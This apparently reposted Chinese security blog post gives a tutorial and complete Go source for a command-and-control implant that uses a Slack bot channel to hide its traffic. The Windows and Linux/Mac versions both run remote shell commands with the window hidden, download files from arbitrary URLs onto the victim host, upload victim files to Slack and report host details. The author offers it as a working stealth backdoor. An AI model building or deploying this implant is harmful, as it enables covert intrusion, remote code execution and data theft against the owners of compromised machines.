(隐匿性C2)利用Slack平台做权限控制

admin 2023年5月29日14:59:08评论61 views字数 9384阅读31分16秒阅读模式

 


本人在C2的使用上一般只做临时使用,Slack的流量可以很好的隐匿自己,我们可以使用Slack来做权限控制。



sdfd

 

01

Slack介绍


01

官网

https://slack.com/intl/zh-sg/

 

02

简介


Slack 是聊天群组 + 大规模工具集成 + 文件整合 + 统一搜索。截至2014年底,Slack 已经整合了电子邮件、短信、Google Drives、Twitter、Trello、Asana、GitHub 等 65 种工具和服务,可以把各种碎片化的企业沟通和协作集中到一起。

 

02

注册Slack


 

01

邮箱注册创建工作区


https://slack.com

(隐匿性C2)利用Slack平台做权限控制

注册完之后无脑下一步创建一个工作区。

 

02

到API创建应用


 https://api.slack.com/apps

(隐匿性C2)利用Slack平台做权限控制

点击Create an App

(隐匿性C2)利用Slack平台做权限控制

(隐匿性C2)利用Slack平台做权限控制

OAuth & Permissions

(隐匿性C2)利用Slack平台做权限控制

(隐匿性C2)利用Slack平台做权限控制

把全部权限加进去。

(隐匿性C2)利用Slack平台做权限控制

Install to Workspace

选择一个频道然后会给一个Token: xoxb-xxxx-xxxx

记录这个Token。

 

03

测试API

先邀请机器人进群组

(隐匿性C2)利用Slack平台做权限控制

https://api.slack.com/methods/conversations.history/test

(隐匿性C2)利用Slack平台做权限控制

Channel是工作区链接URL中最后一个/之后的,记录之后修改代码。


 

03

Windows代码


package main
import ( "bytes" "encoding/json" "fmt" "io" "mime/multipart" "net/http" "net/url" "os" "os/exec" "runtime" "strconv" "strings" "syscall" "time"
"golang.org/x/text/encoding/simplifiedchinese"
"github.com/tidwall/gjson")
const ( HistoryApi = "https://slack.com/api/conversations.history" PostMessage = "https://slack.com/api/chat.postMessage" FileUpload = "https://slack.com/api/files.upload"  Authorization = "Bearer xoxb-xxxx-xxxx"  //改这里  Channel       = "C05xxxxxx"    //改这里)
var Timer = 1
func sleep() { time.Sleep(time.Duration(Timer) * time.Second)}
func main() { GetSystemInfo() RunMainCommandTask()}
// 获取系统类型func GetSystemInfo() { name, err := os.Hostname() if err != nil { panic(err) }
SendShellResult("系统架构:" + runtime.GOOS + "/" + runtime.GOARCH + "n内核数量:" + strconv.Itoa(runtime.NumCPU()) + "核n主机名:" + name)}
// 命令调度主任务使用主线程处理func RunMainCommandTask() { for true { result := GetCommandFromApi(HistoryApi, "messages.0.text") if strings.HasPrefix(result.Str, "shell") { cmdRes := ExecCommand(strings.Split(result.Str, " ")[1:]) SendShellResult(cmdRes) } else if strings.HasPrefix(result.Str, "exit") { os.Exit(0) } else if strings.HasPrefix(result.Str, "upload") { resultStr := strings.Replace(result.Str, "<", "", -1) resultStr = strings.Replace(resultStr, ">", "", -1) split := strings.Split(resultStr, " ") if len(split) > 2 { UploadFile(split[1], split[2]) } else { UploadFile(split[1], "") } } else if strings.HasPrefix(result.Str, "sleep") { s := strings.Split(result.Str, " ")[1] atoi, err := strconv.Atoi(s) if err != nil { SendShellResult(err.Error()) } Timer = atoi } else if strings.HasPrefix(result.Str, "download") { replace := strings.Replace(result.Str, "download ", "", -1) DownloadFile(replace) } sleep() }}
func ExecCommand(command []string) (out string) { cmd := exec.Command(command[0], command[1:]...) // windows时候隐藏子进程窗口,避免执行指令时客户端弹出黑框 cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} o, err := cmd.CombinedOutput() // 转换字符集,解决UTF-8乱码 output, err := simplifiedchinese.GB18030.NewDecoder().String(string(o)) if err != nil { out = err.Error() } else { if output != "" { out = string(output) } } return}
func GetCommandFromApi(apiUrl string, rule string) gjson.Result { token := Authorization channelID := Channel // 调用函数时传入要用的apiUrl,请求对应的api r, err := http.NewRequest("GET", apiUrl, nil) if err != nil { return gjson.Result{} }
// 设置authorization header为Slack机器人Token r.Header.Set("Authorization", token)
// 设置请求参数 q := r.URL.Query()
// 设置Slack频道 q.Add("channel", channelID)
// 每次只获取最近的一条历史记录,避免重复执行历史指令 q.Add("limit", "1") r.URL.RawQuery = q.Encode()
// 发送请求获取响应包 client := &http.Client{} resp, err := client.Do(r) if err != nil { return gjson.Result{} }
defer resp.Body.Close() bytes, err := io.ReadAll(resp.Body) return gjson.GetBytes(bytes, rule)
}
// 传入链接进行下载func UploadFile(url string, savePath string) { path := "" if savePath == "" { s := strings.Split(url, "/") path = s[len(s)-1] } else { path = savePath }
// 判断文件是否已经存在 _, err := os.Stat(path)
if err == nil { SendShellResult(path + " 文件已经存在,如要重新上传请重命名") return }
// Get the data resp, err := http.Get(url) if err != nil { panic(err) } defer resp.Body.Close()
out, err := os.Create(path) if err != nil { panic(err) } defer out.Close()
_, err = io.Copy(out, resp.Body) if err != nil { panic(err) } SendShellResult("文件上传成功,路径在:" + path)}
// 肉鸡文件上传,客户端下载func DownloadFile(filePath string) { file, err := os.Open(filePath) if err != nil { return }
defer file.Close() body := &bytes.Buffer{} writer := multipart.NewWriter(body) part, err := writer.CreateFormFile("file", filePath) if err != nil { return } _, err = io.Copy(part, file) if err != nil { fmt.Println(err) return }
err = writer.WriteField("initial_comment", "文件上传,用于客户端下载。") if err != nil { return } err = writer.WriteField("channels", Channel)
if err != nil { return }
err = writer.Close() if err != nil { return }
req, err := http.NewRequest("POST", FileUpload, body) if err != nil {
fmt.Println(err)
return
} req.Header.Set("Authorization", Authorization) req.Header.Set("Content-Type", writer.FormDataContentType()) client := &http.Client{} resp, err := client.Do(req) if err != nil { return } defer resp.Body.Close()}
func SendShellResult(text2 string) { // 设置token、频道和要发送的内容,发送内容通过参数传入 token := Authorization message := text2 channelID := Channel // 构建JSON数据 jsonData := map[string]string{ "text": message, "channel": channelID, }
// 将JSON数据编码为url.Values格式的数据 values := url.Values{} for k, v := range jsonData { values.Add(k, v) }
// 发送HTTP POST请求 client := &http.Client{} req, err := http.NewRequest("POST", PostMessage, bytes.NewBufferString(values.Encode())) if err != nil { return } req.Header.Add("Content-Type", "application/x-www-form-urlencoded") req.Header.Add("Authorization", token)
// 处理响应 resp, err := client.Do(req) if err != nil { return }
defer resp.Body.Close()
// 读取响应内容 respData := make(map[string]interface{}) if err := json.NewDecoder(resp.Body).Decode(&respData); err != nil {    return

 

 

04

Linux/Mac


 

package main
import ( "bytes" "encoding/json" "fmt" "io" "mime/multipart" "net/http" "net/url" "os" "os/exec" "runtime" "strconv" "strings" "time"
"golang.org/x/text/encoding/simplifiedchinese"
"github.com/tidwall/gjson")
const ( HistoryApi = "https://slack.com/api/conversations.history" PostMessage = "https://slack.com/api/chat.postMessage" FileUpload = "https://slack.com/api/files.upload"  Authorization = "Bearer xoxb-xxxx-xxxx" // 改这里  Channel       = "C0xxxxx"  //改这里)
var Timer = 1
func sleep() { time.Sleep(time.Duration(Timer) * time.Second)}
func main() { GetSystemInfo() RunMainCommandTask()}
// 获取系统类型func GetSystemInfo() { name, err := os.Hostname() if err != nil { panic(err) }
SendShellResult("系统架构:" + runtime.GOOS + "/" + runtime.GOARCH + "n内核数量:" + strconv.Itoa(runtime.NumCPU()) + "核n主机名:" + name)}
// 命令调度主任务使用主线程处理func RunMainCommandTask() { for true { result := GetCommandFromApi(HistoryApi, "messages.0.text") if strings.HasPrefix(result.Str, "shell") { cmdRes := ExecCommand(strings.Split(result.Str, " ")[1:]) SendShellResult(cmdRes) } else if strings.HasPrefix(result.Str, "exit") { os.Exit(0) } else if strings.HasPrefix(result.Str, "upload") { resultStr := strings.Replace(result.Str, "<", "", -1) resultStr = strings.Replace(resultStr, ">", "", -1) split := strings.Split(resultStr, " ") if len(split) > 2 { UploadFile(split[1], split[2]) } else { UploadFile(split[1], "") } } else if strings.HasPrefix(result.Str, "sleep") { s := strings.Split(result.Str, " ")[1] atoi, err := strconv.Atoi(s) if err != nil { SendShellResult(err.Error()) } Timer = atoi } else if strings.HasPrefix(result.Str, "download") { replace := strings.Replace(result.Str, "download ", "", -1) DownloadFile(replace) } sleep() }}
func ExecCommand(command []string) (out string) { cmd := exec.Command(command[0], command[1:]...) o, err := cmd.CombinedOutput() // 转换字符集,解决UTF-8乱码 output, err := simplifiedchinese.GB18030.NewDecoder().String(string(o)) if err != nil { out = err.Error() } else { if output != "" { out = string(output) } } return}
func GetCommandFromApi(apiUrl string, rule string) gjson.Result { token := Authorization channelID := Channel // 调用函数时传入要用的apiUrl,请求对应的api r, err := http.NewRequest("GET", apiUrl, nil) if err != nil { return gjson.Result{} }
// 设置authorization header为Slack机器人Token r.Header.Set("Authorization", token)
// 设置请求参数 q := r.URL.Query()
// 设置Slack频道 q.Add("channel", channelID)
// 每次只获取最近的一条历史记录,避免重复执行历史指令 q.Add("limit", "1") r.URL.RawQuery = q.Encode()
// 发送请求获取响应包 client := &http.Client{} resp, err := client.Do(r) if err != nil { return gjson.Result{} }
defer resp.Body.Close() bytes, err := io.ReadAll(resp.Body) return gjson.GetBytes(bytes, rule)
}
// 传入链接进行下载func UploadFile(url string, savePath string) { path := "" if savePath == "" { s := strings.Split(url, "/") path = s[len(s)-1] } else { path = savePath }
// 判断文件是否已经存在 _, err := os.Stat(path)
if err == nil { SendShellResult(path + " 文件已经存在,如要重新上传请重命名") return }
// Get the data resp, err := http.Get(url) if err != nil { panic(err) } defer resp.Body.Close()
out, err := os.Create(path) if err != nil { panic(err) } defer out.Close()
_, err = io.Copy(out, resp.Body) if err != nil { panic(err) } SendShellResult("文件上传成功,路径在:" + path)}
// 肉鸡文件上传,客户端下载func DownloadFile(filePath string) { file, err := os.Open(filePath) if err != nil { return }
defer file.Close() body := &bytes.Buffer{} writer := multipart.NewWriter(body) part, err := writer.CreateFormFile("file", filePath) if err != nil { return } _, err = io.Copy(part, file) if err != nil { fmt.Println(err) return }
err = writer.WriteField("initial_comment", "文件上传,用于客户端下载。") if err != nil { return } err = writer.WriteField("channels", Channel)
if err != nil { return }
err = writer.Close() if err != nil { return }
req, err := http.NewRequest("POST", FileUpload, body) if err != nil {
fmt.Println(err)
return
} req.Header.Set("Authorization", Authorization) req.Header.Set("Content-Type", writer.FormDataContentType()) client := &http.Client{} resp, err := client.Do(req) if err != nil { return } defer resp.Body.Close()}
func SendShellResult(text2 string) { // 设置token、频道和要发送的内容,发送内容通过参数传入 token := Authorization message := text2 channelID := Channel // 构建JSON数据 jsonData := map[string]string{ "text": message, "channel": channelID, }
// 将JSON数据编码为url.Values格式的数据 values := url.Values{} for k, v := range jsonData { values.Add(k, v) }
// 发送HTTP POST请求 client := &http.Client{} req, err := http.NewRequest("POST", PostMessage, bytes.NewBufferString(values.Encode())) if err != nil { return } req.Header.Add("Content-Type", "application/x-www-form-urlencoded") req.Header.Add("Authorization", token)
// 处理响应 resp, err := client.Do(req) if err != nil { return }
defer resp.Body.Close()
// 读取响应内容 respData := make(map[string]interface{}) if err := json.NewDecoder(resp.Body).Decode(&respData); err != nil { return  


 

05

执行Demo


  • shell +空格+ 命令 => 执行命令

  • upload+空格+文件URL(+空格+自定义文件名) => 把文件从网络URL中下载

  • download+空格+受控端文件地址 =>从受控端下载文件

(隐匿性C2)利用Slack平台做权限控制

(隐匿性C2)利用Slack平台做权限控制

(隐匿性C2)利用Slack平台做权限控制

(隐匿性C2)利用Slack平台做权限控制

简单的使用就已经OK了,这个打包一下你说他隐匿吗hhh 

原文始发于微信公众号(阿呆攻防):(隐匿性C2)利用Slack平台做权限控制

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月29日14:59:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   (隐匿性C2)利用Slack平台做权限控制http://cn-sec.com/archives/1770577.html

发表评论

匿名网友 填写信息